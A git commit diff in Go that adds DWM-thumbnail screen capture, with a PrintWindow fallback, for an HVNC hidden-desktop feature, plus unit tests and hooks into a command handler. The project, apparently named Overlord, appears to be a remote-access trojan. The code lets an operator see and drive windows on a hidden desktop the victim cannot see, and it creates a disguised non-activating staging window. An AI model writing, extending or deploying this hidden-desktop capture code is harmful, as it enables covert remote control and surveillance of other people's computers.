add DWM for HVNC with PrintWindow fallback
This commit is contained in:
@@ -0,0 +1,515 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"log"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
dwmapi = windows.NewLazySystemDLL("dwmapi.dll")
|
||||
procDwmRegisterThumbnail = dwmapi.NewProc("DwmRegisterThumbnail")
|
||||
procDwmUnregisterThumbnail = dwmapi.NewProc("DwmUnregisterThumbnail")
|
||||
procDwmUpdateThumbnailProperties = dwmapi.NewProc("DwmUpdateThumbnailProperties")
|
||||
procDwmQueryThumbnailSourceSize = dwmapi.NewProc("DwmQueryThumbnailSourceSize")
|
||||
procDWMCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||
procDWMShowWindow = user32.NewProc("ShowWindow")
|
||||
procDWMUpdateWindow = user32.NewProc("UpdateWindow")
|
||||
backstageDWMStateMu sync.Mutex
|
||||
backstageDWMHost uintptr
|
||||
backstageDWMThumbnails map[uintptr]*backstageDWMThumbnail
|
||||
backstageDWMOrder []uintptr
|
||||
backstageDWMLastFallbackLogUnixNano atomic.Int64
|
||||
backstageDWMLastPerfLogUnixNano atomic.Int64
|
||||
backstageDWMLoggedActive atomic.Bool
|
||||
)
|
||||
|
||||
const (
|
||||
dwmTNPRectDestination = 0x00000001
|
||||
dwmTNPRectSource = 0x00000002
|
||||
dwmTNPVisible = 0x00000008
|
||||
|
||||
backstageDWMWSExTransparent = 0x00000020
|
||||
backstageDWMWSExToolWindow = 0x00000080
|
||||
backstageDWMWSExNoActivate = 0x08000000
|
||||
backstageDWMWSDisabled = 0x08000000
|
||||
backstageDWMWSVisible = 0x10000000
|
||||
backstageDWMWSDisabledPopup = 0x80000000 | backstageDWMWSDisabled | backstageDWMWSVisible
|
||||
backstageDWMSSBlackRect = 0x00000004
|
||||
backstageDWMSWShowNoActivate = 4
|
||||
backstageDWMHWNDBottom = 1
|
||||
)
|
||||
|
||||
type dwmThumbnailProperties struct {
|
||||
flags uint32
|
||||
destination rect
|
||||
source rect
|
||||
opacity byte
|
||||
_padding [3]byte
|
||||
visible int32
|
||||
sourceClientAreaOnly int32
|
||||
}
|
||||
|
||||
type backstageDWMSize struct {
|
||||
cx int32
|
||||
cy int32
|
||||
}
|
||||
|
||||
type backstageDWMThumbnail struct {
|
||||
handle uintptr
|
||||
size backstageDWMSize
|
||||
}
|
||||
|
||||
type backstageDWMCandidate struct {
|
||||
hwnd uintptr
|
||||
windowRect rect
|
||||
}
|
||||
|
||||
type backstageDWMPerf struct {
|
||||
outputW int
|
||||
outputH int
|
||||
windows int
|
||||
rebuilt bool
|
||||
setup time.Duration
|
||||
enumerate time.Duration
|
||||
register time.Duration
|
||||
update time.Duration
|
||||
readback time.Duration
|
||||
validate time.Duration
|
||||
total time.Duration
|
||||
success bool
|
||||
failure string
|
||||
}
|
||||
|
||||
func backstageIsDWMHost(hwnd uintptr) bool {
|
||||
if hwnd == 0 {
|
||||
return false
|
||||
}
|
||||
backstageDWMStateMu.Lock()
|
||||
isHost := backstageDWMHost == hwnd
|
||||
backstageDWMStateMu.Unlock()
|
||||
return isHost
|
||||
}
|
||||
|
||||
func drawbackstageStagingFromDWM(hdcMem uintptr, bounds image.Rectangle, outputW, outputH int, target []byte) (success bool) {
|
||||
if hdcMem == 0 || bounds.Empty() || outputW <= 0 || outputH <= 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
started := time.Now()
|
||||
perf := backstageDWMPerf{outputW: outputW, outputH: outputH}
|
||||
defer func() {
|
||||
perf.success = success
|
||||
perf.total = time.Since(started)
|
||||
backstageLogDWMPerf(perf, bounds)
|
||||
}()
|
||||
|
||||
backstageDWMStateMu.Lock()
|
||||
defer backstageDWMStateMu.Unlock()
|
||||
|
||||
stageStarted := time.Now()
|
||||
host := backstageEnsureDWMHostLocked(bounds, outputW, outputH)
|
||||
perf.setup = time.Since(stageStarted)
|
||||
if host == 0 {
|
||||
perf.failure = "host"
|
||||
backstageLogDWMFallback("staging window is unavailable")
|
||||
return false
|
||||
}
|
||||
|
||||
stageStarted = time.Now()
|
||||
candidates := backstageCollectDWMCandidatesLocked(host, bounds)
|
||||
perf.enumerate = time.Since(stageStarted)
|
||||
perf.windows = len(candidates)
|
||||
if len(candidates) == 0 {
|
||||
perf.failure = "no_sources"
|
||||
backstageLogDWMFallback("no source windows are available")
|
||||
return false
|
||||
}
|
||||
|
||||
order := make([]uintptr, len(candidates))
|
||||
for index, candidate := range candidates {
|
||||
order[index] = candidate.hwnd
|
||||
}
|
||||
if !backstageDWMOrdersEqual(backstageDWMOrder, order) {
|
||||
perf.rebuilt = true
|
||||
backstageUnregisterDWMThumbnailsLocked()
|
||||
backstageDWMOrder = append(backstageDWMOrder[:0], order...)
|
||||
}
|
||||
if backstageDWMThumbnails == nil {
|
||||
backstageDWMThumbnails = make(map[uintptr]*backstageDWMThumbnail)
|
||||
}
|
||||
|
||||
registerStarted := time.Now()
|
||||
updated := 0
|
||||
for _, candidate := range candidates {
|
||||
entry := backstageDWMThumbnails[candidate.hwnd]
|
||||
if entry == nil {
|
||||
entry = backstageRegisterDWMThumbnailLocked(host, candidate.hwnd)
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
backstageDWMThumbnails[candidate.hwnd] = entry
|
||||
}
|
||||
}
|
||||
perf.register = time.Since(registerStarted)
|
||||
|
||||
updateStarted := time.Now()
|
||||
for _, candidate := range candidates {
|
||||
entry := backstageDWMThumbnails[candidate.hwnd]
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
destinationRect, sourceRect, ok := backstageDWMThumbnailRects(
|
||||
candidate.windowRect,
|
||||
bounds,
|
||||
int(entry.size.cx),
|
||||
int(entry.size.cy),
|
||||
outputW,
|
||||
outputH,
|
||||
)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
properties := dwmThumbnailProperties{
|
||||
flags: dwmTNPRectDestination | dwmTNPRectSource | dwmTNPVisible,
|
||||
destination: destinationRect,
|
||||
source: sourceRect,
|
||||
opacity: 255,
|
||||
visible: 1,
|
||||
}
|
||||
result, _, _ := procDwmUpdateThumbnailProperties.Call(
|
||||
entry.handle,
|
||||
uintptr(unsafe.Pointer(&properties)),
|
||||
)
|
||||
if int32(result) >= 0 {
|
||||
updated++
|
||||
}
|
||||
}
|
||||
perf.update = time.Since(updateStarted)
|
||||
if updated == 0 {
|
||||
perf.failure = "update"
|
||||
backstageLogDWMFallback("no thumbnail relationships were updated")
|
||||
return false
|
||||
}
|
||||
|
||||
readbackStarted := time.Now()
|
||||
if !printWindow(host, hdcMem, PW_RENDERFULLCONTENT) {
|
||||
perf.readback = time.Since(readbackStarted)
|
||||
perf.failure = "readback"
|
||||
backstageLogDWMFallback("PrintWindow staging readback failed")
|
||||
return false
|
||||
}
|
||||
perf.readback = time.Since(readbackStarted)
|
||||
|
||||
validateStarted := time.Now()
|
||||
if !backstageDWMFrameHasContent(target) {
|
||||
perf.validate = time.Since(validateStarted)
|
||||
perf.failure = "empty"
|
||||
backstageLogDWMFallback("PrintWindow staging readback was empty")
|
||||
return false
|
||||
}
|
||||
perf.validate = time.Since(validateStarted)
|
||||
if backstageDWMLoggedActive.CompareAndSwap(false, true) {
|
||||
log.Printf("backstage dwm: staging thumbnail composite active (%d windows, %dx%d)", updated, outputW, outputH)
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func backstageEnsureDWMHostLocked(bounds image.Rectangle, outputW, outputH int) uintptr {
|
||||
if backstageDWMHost == 0 {
|
||||
className, err := syscall.UTF16PtrFromString("Static")
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
title, err := syscall.UTF16PtrFromString("Overlord DWM Backstage Staging")
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
host, _, _ := procDWMCreateWindowExW.Call(
|
||||
backstageDWMWSExTransparent|backstageDWMWSExToolWindow|backstageDWMWSExNoActivate,
|
||||
uintptr(unsafe.Pointer(className)),
|
||||
uintptr(unsafe.Pointer(title)),
|
||||
backstageDWMWSDisabledPopup|backstageDWMSSBlackRect,
|
||||
uintptr(int32(bounds.Min.X)),
|
||||
uintptr(int32(bounds.Min.Y)),
|
||||
uintptr(int32(outputW)),
|
||||
uintptr(int32(outputH)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if host == 0 {
|
||||
return 0
|
||||
}
|
||||
backstageDWMHost = host
|
||||
procDWMShowWindow.Call(host, backstageDWMSWShowNoActivate)
|
||||
procDWMUpdateWindow.Call(host)
|
||||
}
|
||||
|
||||
procSetWindowPos.Call(
|
||||
backstageDWMHost,
|
||||
backstageDWMHWNDBottom,
|
||||
uintptr(int32(bounds.Min.X)),
|
||||
uintptr(int32(bounds.Min.Y)),
|
||||
uintptr(int32(outputW)),
|
||||
uintptr(int32(outputH)),
|
||||
SWP_NOACTIVATE|SWP_SHOWWINDOW,
|
||||
)
|
||||
return backstageDWMHost
|
||||
}
|
||||
|
||||
func backstageCollectDWMCandidatesLocked(host uintptr, bounds image.Rectangle) []backstageDWMCandidate {
|
||||
var candidates []backstageDWMCandidate
|
||||
hwnd := getTopWindow(0)
|
||||
if hwnd != 0 {
|
||||
hwnd = getWindow(hwnd, GW_HWNDLAST)
|
||||
}
|
||||
for hwnd != 0 {
|
||||
next := getWindow(hwnd, GW_HWNDPREV)
|
||||
if hwnd != host && isWindowVisible(hwnd) {
|
||||
var windowRect rect
|
||||
ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&windowRect)))
|
||||
if ok != 0 &&
|
||||
windowRect.right > windowRect.left &&
|
||||
windowRect.bottom > windowRect.top &&
|
||||
rectIntersectsImage(windowRect, bounds) {
|
||||
candidates = append(candidates, backstageDWMCandidate{
|
||||
hwnd: hwnd,
|
||||
windowRect: windowRect,
|
||||
})
|
||||
}
|
||||
}
|
||||
hwnd = next
|
||||
}
|
||||
return candidates
|
||||
}
|
||||
|
||||
func backstageRegisterDWMThumbnailLocked(host, source uintptr) *backstageDWMThumbnail {
|
||||
var thumbnail uintptr
|
||||
result, _, _ := procDwmRegisterThumbnail.Call(
|
||||
host,
|
||||
source,
|
||||
uintptr(unsafe.Pointer(&thumbnail)),
|
||||
)
|
||||
if int32(result) < 0 || thumbnail == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var size backstageDWMSize
|
||||
queryResult, _, _ := procDwmQueryThumbnailSourceSize.Call(
|
||||
thumbnail,
|
||||
uintptr(unsafe.Pointer(&size)),
|
||||
)
|
||||
if int32(queryResult) < 0 || size.cx <= 0 || size.cy <= 0 {
|
||||
var windowRect rect
|
||||
ok, _, _ := procGetWindowRect.Call(source, uintptr(unsafe.Pointer(&windowRect)))
|
||||
if ok == 0 {
|
||||
procDwmUnregisterThumbnail.Call(thumbnail)
|
||||
return nil
|
||||
}
|
||||
size.cx = windowRect.right - windowRect.left
|
||||
size.cy = windowRect.bottom - windowRect.top
|
||||
}
|
||||
return &backstageDWMThumbnail{handle: thumbnail, size: size}
|
||||
}
|
||||
|
||||
func backstageDWMThumbnailRects(windowRect rect, bounds image.Rectangle, sourceW, sourceH, outputW, outputH int) (rect, rect, bool) {
|
||||
winW := int(windowRect.right - windowRect.left)
|
||||
winH := int(windowRect.bottom - windowRect.top)
|
||||
boundsW := bounds.Dx()
|
||||
boundsH := bounds.Dy()
|
||||
if winW <= 0 || winH <= 0 || sourceW <= 0 || sourceH <= 0 ||
|
||||
boundsW <= 0 || boundsH <= 0 || outputW <= 0 || outputH <= 0 {
|
||||
return rect{}, rect{}, false
|
||||
}
|
||||
|
||||
left := maxInt(int(windowRect.left), bounds.Min.X)
|
||||
top := maxInt(int(windowRect.top), bounds.Min.Y)
|
||||
right := minInt(int(windowRect.right), bounds.Max.X)
|
||||
bottom := minInt(int(windowRect.bottom), bounds.Max.Y)
|
||||
if right <= left || bottom <= top {
|
||||
return rect{}, rect{}, false
|
||||
}
|
||||
|
||||
destination := rect{
|
||||
left: int32((left - bounds.Min.X) * outputW / boundsW),
|
||||
top: int32((top - bounds.Min.Y) * outputH / boundsH),
|
||||
right: int32(((right-bounds.Min.X)*outputW + boundsW - 1) / boundsW),
|
||||
bottom: int32(((bottom-bounds.Min.Y)*outputH + boundsH - 1) / boundsH),
|
||||
}
|
||||
source := rect{
|
||||
left: int32((left - int(windowRect.left)) * sourceW / winW),
|
||||
top: int32((top - int(windowRect.top)) * sourceH / winH),
|
||||
right: int32(((right-int(windowRect.left))*sourceW + winW - 1) / winW),
|
||||
bottom: int32(((bottom-int(windowRect.top))*sourceH + winH - 1) / winH),
|
||||
}
|
||||
if source.right > int32(sourceW) {
|
||||
source.right = int32(sourceW)
|
||||
}
|
||||
if source.bottom > int32(sourceH) {
|
||||
source.bottom = int32(sourceH)
|
||||
}
|
||||
return destination, source, true
|
||||
}
|
||||
|
||||
func rectIntersectsImage(windowRect rect, bounds image.Rectangle) bool {
|
||||
return int(windowRect.right) > bounds.Min.X &&
|
||||
int(windowRect.left) < bounds.Max.X &&
|
||||
int(windowRect.bottom) > bounds.Min.Y &&
|
||||
int(windowRect.top) < bounds.Max.Y
|
||||
}
|
||||
|
||||
func backstageDWMOrdersEqual(left, right []uintptr) bool {
|
||||
if len(left) != len(right) {
|
||||
return false
|
||||
}
|
||||
for index := range left {
|
||||
if left[index] != right[index] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func backstageDWMFrameHasContent(frame []byte) bool {
|
||||
if len(frame) < 4 {
|
||||
return false
|
||||
}
|
||||
stepPixels := len(frame) / 4 / (128 * 128)
|
||||
if stepPixels < 1 {
|
||||
stepPixels = 1
|
||||
}
|
||||
step := stepPixels * 4
|
||||
for offset := 0; offset+2 < len(frame); offset += step {
|
||||
if frame[offset]|frame[offset+1]|frame[offset+2] != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func backstageEnsureDWMCompCache(w, h int) (uintptr, []byte, bool) {
|
||||
if backstageCompHdcMem != 0 &&
|
||||
backstageCompW == w &&
|
||||
backstageCompH == h &&
|
||||
backstageCompBits != nil {
|
||||
return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
|
||||
}
|
||||
|
||||
if backstageCompHbmp != 0 {
|
||||
deleteObject(backstageCompHbmp)
|
||||
backstageCompHbmp = 0
|
||||
}
|
||||
if backstageCompHdcMem != 0 {
|
||||
deleteDC(backstageCompHdcMem)
|
||||
backstageCompHdcMem = 0
|
||||
}
|
||||
backstageCompBits = nil
|
||||
backstageCompW = 0
|
||||
backstageCompH = 0
|
||||
|
||||
screenDC := getDC(0)
|
||||
if screenDC == 0 {
|
||||
return 0, nil, false
|
||||
}
|
||||
backstageCompHdcMem = createCompatibleDC(screenDC)
|
||||
releaseDC(0, screenDC)
|
||||
if backstageCompHdcMem == 0 {
|
||||
return 0, nil, false
|
||||
}
|
||||
|
||||
info := bitmapInfo{
|
||||
bmiHeader: bitmapInfoHeader{
|
||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||
biWidth: int32(w),
|
||||
biHeight: -int32(h),
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
},
|
||||
}
|
||||
backstageCompHbmp = createDIBSection(
|
||||
backstageCompHdcMem,
|
||||
&info,
|
||||
DIB_RGB_COLORS,
|
||||
&backstageCompBits,
|
||||
)
|
||||
if backstageCompHbmp == 0 || backstageCompBits == nil {
|
||||
deleteDC(backstageCompHdcMem)
|
||||
backstageCompHdcMem = 0
|
||||
backstageCompBits = nil
|
||||
return 0, nil, false
|
||||
}
|
||||
selectObject(backstageCompHdcMem, backstageCompHbmp)
|
||||
backstageCompW = w
|
||||
backstageCompH = h
|
||||
return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
|
||||
}
|
||||
|
||||
func backstageCleanupDWMThumbnails() {
|
||||
backstageDWMStateMu.Lock()
|
||||
defer backstageDWMStateMu.Unlock()
|
||||
backstageUnregisterDWMThumbnailsLocked()
|
||||
if backstageDWMHost != 0 {
|
||||
procDWMShowWindow.Call(backstageDWMHost, 0)
|
||||
}
|
||||
backstageDWMHost = 0
|
||||
}
|
||||
|
||||
func backstageUnregisterDWMThumbnailsLocked() {
|
||||
for source, entry := range backstageDWMThumbnails {
|
||||
procDwmUnregisterThumbnail.Call(entry.handle)
|
||||
delete(backstageDWMThumbnails, source)
|
||||
}
|
||||
backstageDWMThumbnails = nil
|
||||
backstageDWMOrder = nil
|
||||
}
|
||||
|
||||
func backstageLogDWMFallback(reason string) {
|
||||
now := time.Now().UnixNano()
|
||||
last := backstageDWMLastFallbackLogUnixNano.Load()
|
||||
if now-last < int64(5*time.Second) ||
|
||||
!backstageDWMLastFallbackLogUnixNano.CompareAndSwap(last, now) {
|
||||
return
|
||||
}
|
||||
log.Printf("backstage dwm: %s; using DXGI/PrintWindow fallback", reason)
|
||||
}
|
||||
|
||||
func backstageLogDWMPerf(perf backstageDWMPerf, bounds image.Rectangle) {
|
||||
if !captureMetricsEnabled() {
|
||||
return
|
||||
}
|
||||
now := time.Now().UnixNano()
|
||||
last := backstageDWMLastPerfLogUnixNano.Load()
|
||||
if now-last < int64(5*time.Second) ||
|
||||
!backstageDWMLastPerfLogUnixNano.CompareAndSwap(last, now) {
|
||||
return
|
||||
}
|
||||
log.Printf(
|
||||
"backstage dwm perf: success=%v failure=%s source=%dx%d output=%dx%d windows=%d rebuilt=%v setup=%s enum=%s register=%s update=%s readback=%s validate=%s total=%s",
|
||||
perf.success,
|
||||
perf.failure,
|
||||
bounds.Dx(),
|
||||
bounds.Dy(),
|
||||
perf.outputW,
|
||||
perf.outputH,
|
||||
perf.windows,
|
||||
perf.rebuilt,
|
||||
perf.setup,
|
||||
perf.enumerate,
|
||||
perf.register,
|
||||
perf.update,
|
||||
perf.readback,
|
||||
perf.validate,
|
||||
perf.total,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestBackstageDWMFrameHasContent(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
frame []byte
|
||||
want bool
|
||||
}{
|
||||
{name: "nil", frame: nil, want: false},
|
||||
{name: "short", frame: []byte{1, 2, 3}, want: false},
|
||||
{name: "black", frame: make([]byte, 64), want: false},
|
||||
{name: "alpha only", frame: []byte{0, 0, 0, 255}, want: false},
|
||||
{name: "blue", frame: []byte{1, 0, 0, 0}, want: true},
|
||||
{name: "green", frame: []byte{0, 1, 0, 0}, want: true},
|
||||
{name: "red", frame: []byte{0, 0, 1, 0}, want: true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := backstageDWMFrameHasContent(tt.frame); got != tt.want {
|
||||
t.Fatalf("backstageDWMFrameHasContent() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackstageDWMThumbnailRects(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
window rect
|
||||
bounds image.Rectangle
|
||||
sourceW int
|
||||
sourceH int
|
||||
outputW int
|
||||
outputH int
|
||||
wantDest rect
|
||||
wantSource rect
|
||||
wantOK bool
|
||||
}{
|
||||
{
|
||||
name: "fully visible",
|
||||
window: rect{left: 100, top: 50, right: 500, bottom: 350},
|
||||
bounds: image.Rect(0, 0, 1920, 1080),
|
||||
sourceW: 400,
|
||||
sourceH: 300,
|
||||
outputW: 1920,
|
||||
outputH: 1080,
|
||||
wantDest: rect{left: 100, top: 50, right: 500, bottom: 350},
|
||||
wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
|
||||
wantOK: true,
|
||||
},
|
||||
{
|
||||
name: "clipped left and top",
|
||||
window: rect{left: -100, top: -50, right: 300, bottom: 250},
|
||||
bounds: image.Rect(0, 0, 1920, 1080),
|
||||
sourceW: 800,
|
||||
sourceH: 600,
|
||||
outputW: 1920,
|
||||
outputH: 1080,
|
||||
wantDest: rect{left: 0, top: 0, right: 300, bottom: 250},
|
||||
wantSource: rect{left: 200, top: 100, right: 800, bottom: 600},
|
||||
wantOK: true,
|
||||
},
|
||||
{
|
||||
name: "outside",
|
||||
window: rect{left: 2000, top: 100, right: 2200, bottom: 300},
|
||||
bounds: image.Rect(0, 0, 1920, 1080),
|
||||
sourceW: 200,
|
||||
sourceH: 200,
|
||||
outputW: 1920,
|
||||
outputH: 1080,
|
||||
wantOK: false,
|
||||
},
|
||||
{
|
||||
name: "scaled output",
|
||||
window: rect{left: 100, top: 50, right: 500, bottom: 350},
|
||||
bounds: image.Rect(0, 0, 1920, 1080),
|
||||
sourceW: 400,
|
||||
sourceH: 300,
|
||||
outputW: 960,
|
||||
outputH: 540,
|
||||
wantDest: rect{left: 50, top: 25, right: 250, bottom: 175},
|
||||
wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
|
||||
wantOK: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
dest, source, ok := backstageDWMThumbnailRects(
|
||||
tt.window,
|
||||
tt.bounds,
|
||||
tt.sourceW,
|
||||
tt.sourceH,
|
||||
tt.outputW,
|
||||
tt.outputH,
|
||||
)
|
||||
if ok != tt.wantOK {
|
||||
t.Fatalf("ok = %v, want %v", ok, tt.wantOK)
|
||||
}
|
||||
if dest != tt.wantDest {
|
||||
t.Fatalf("destination = %+v, want %+v", dest, tt.wantDest)
|
||||
}
|
||||
if source != tt.wantSource {
|
||||
t.Fatalf("source = %+v, want %+v", source, tt.wantSource)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackstageDWMOrdersEqual(t *testing.T) {
|
||||
if !backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 2, 3}) {
|
||||
t.Fatal("matching order was reported as changed")
|
||||
}
|
||||
if backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 3, 2}) {
|
||||
t.Fatal("z-order change was not detected")
|
||||
}
|
||||
if backstageDWMOrdersEqual([]uintptr{1, 2}, []uintptr{1, 2, 3}) {
|
||||
t.Fatal("window addition was not detected")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestBackstagePrintWindowFallbackToggle(t *testing.T) {
|
||||
SetbackstagePrintWindowFallbackEnabled(true)
|
||||
t.Cleanup(func() { SetbackstagePrintWindowFallbackEnabled(true) })
|
||||
|
||||
if !GetbackstagePrintWindowFallbackEnabled() {
|
||||
t.Fatal("PrintWindow fallback must be enabled by default")
|
||||
}
|
||||
SetbackstagePrintWindowFallbackEnabled(false)
|
||||
if GetbackstagePrintWindowFallbackEnabled() {
|
||||
t.Fatal("PrintWindow fallback did not disable")
|
||||
}
|
||||
SetbackstagePrintWindowFallbackEnabled(true)
|
||||
if !GetbackstagePrintWindowFallbackEnabled() {
|
||||
t.Fatal("PrintWindow fallback did not re-enable")
|
||||
}
|
||||
}
|
||||
@@ -19,6 +19,10 @@ func SetbackstageDXGIEnabled(enabled bool) {}
|
||||
|
||||
func GetbackstageDXGIEnabled() bool { return false }
|
||||
|
||||
func SetbackstagePrintWindowFallbackEnabled(enabled bool) {}
|
||||
|
||||
func GetbackstagePrintWindowFallbackEnabled() bool { return false }
|
||||
|
||||
func SetbackstageUIAEnabled(enabled bool) {}
|
||||
|
||||
func GetbackstageUIAEnabled() bool { return false }
|
||||
|
||||
@@ -377,6 +377,7 @@ func CleanupbackstageDesktop() {
|
||||
defer backstageDesktopMu.Unlock()
|
||||
|
||||
backstageCleanupFrameReaders()
|
||||
backstageCleanupDWMThumbnails()
|
||||
|
||||
backstageFreeCapCache()
|
||||
|
||||
@@ -592,6 +593,9 @@ func BackstageKillAll() error {
|
||||
|
||||
pids := make(map[uint32]struct{})
|
||||
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||
if backstageIsDWMHost(hwnd) {
|
||||
return 1
|
||||
}
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
if pid != 0 {
|
||||
@@ -891,6 +895,18 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
dstH = srcH
|
||||
}
|
||||
|
||||
if dwmHDC, dwmBuf, ok := backstageEnsureDWMCompCache(dstW, dstH); ok {
|
||||
for i := range dwmBuf {
|
||||
dwmBuf[i] = 0
|
||||
}
|
||||
if drawbackstageStagingFromDWM(dwmHDC, bounds, dstW, dstH, dwmBuf) {
|
||||
swapRB(dwmBuf)
|
||||
img := GetRGBA(dstW, dstH)
|
||||
copy(img.Pix, dwmBuf)
|
||||
return img, nil
|
||||
}
|
||||
}
|
||||
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
@@ -1312,7 +1328,7 @@ func foregroundWindow() uintptr {
|
||||
func findAnyVisibleTopLevelWindow() uintptr {
|
||||
hwnd := getTopWindow(0)
|
||||
for hwnd != 0 {
|
||||
if isWindowVisible(hwnd) {
|
||||
if !backstageIsDWMHost(hwnd) && isWindowVisible(hwnd) {
|
||||
return hwnd
|
||||
}
|
||||
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
||||
@@ -1326,6 +1342,9 @@ func makeLParam(x, y int32) uintptr {
|
||||
|
||||
func windowFromPoint(pt point) uintptr {
|
||||
ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
|
||||
if backstageIsDWMHost(ret) {
|
||||
return 0
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
@@ -1678,7 +1697,7 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar
|
||||
|
||||
drawn := 0
|
||||
for hwnd != 0 {
|
||||
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
if !backstageIsDWMHost(hwnd) && drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
drawn++
|
||||
}
|
||||
alive[hwnd] = true
|
||||
@@ -1751,10 +1770,13 @@ var dxgiFrameBuf []byte
|
||||
|
||||
var backstageDXGIEnabled atomic.Bool
|
||||
var backstageUIAEnabled atomic.Bool
|
||||
var backstagePrintWindowFallbackEnabled atomic.Bool
|
||||
var backstagePrintWindowFallbackLogNs atomic.Int64
|
||||
|
||||
func init() {
|
||||
backstageDXGIEnabled.Store(false) // disabled by default
|
||||
backstageUIAEnabled.Store(false) // disabled by default
|
||||
backstagePrintWindowFallbackEnabled.Store(true)
|
||||
}
|
||||
|
||||
func SetbackstageDXGIEnabled(enabled bool) {
|
||||
@@ -1773,6 +1795,14 @@ func GetbackstageUIAEnabled() bool {
|
||||
return backstageUIAEnabled.Load()
|
||||
}
|
||||
|
||||
func SetbackstagePrintWindowFallbackEnabled(enabled bool) {
|
||||
backstagePrintWindowFallbackEnabled.Store(enabled)
|
||||
}
|
||||
|
||||
func GetbackstagePrintWindowFallbackEnabled() bool {
|
||||
return backstagePrintWindowFallbackEnabled.Load()
|
||||
}
|
||||
|
||||
func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if !backstageDXGIEnabled.Load() {
|
||||
return false
|
||||
@@ -1847,6 +1877,9 @@ func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int,
|
||||
}
|
||||
|
||||
func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if backstageIsDWMHost(hwnd) {
|
||||
return false
|
||||
}
|
||||
if !isWindowVisible(hwnd) {
|
||||
return false
|
||||
}
|
||||
@@ -1875,6 +1908,15 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
|
||||
if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
|
||||
return true
|
||||
}
|
||||
if !backstagePrintWindowFallbackEnabled.Load() {
|
||||
now := time.Now().UnixNano()
|
||||
last := backstagePrintWindowFallbackLogNs.Load()
|
||||
if now-last > int64(5*time.Second) &&
|
||||
backstagePrintWindowFallbackLogNs.CompareAndSwap(last, now) {
|
||||
log.Printf("backstage capture: per-window PrintWindow fallback is disabled")
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Use pooled DC+DIB from cache
|
||||
entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH)
|
||||
@@ -2048,6 +2090,9 @@ func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
var windows []rawWin
|
||||
|
||||
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||
if backstageIsDWMHost(hwnd) {
|
||||
return 1
|
||||
}
|
||||
windows = append(windows, rawWin{hwnd: hwnd})
|
||||
return 1
|
||||
})
|
||||
|
||||
@@ -1298,6 +1298,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.SetbackstageDXGIEnabled(dxgiEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
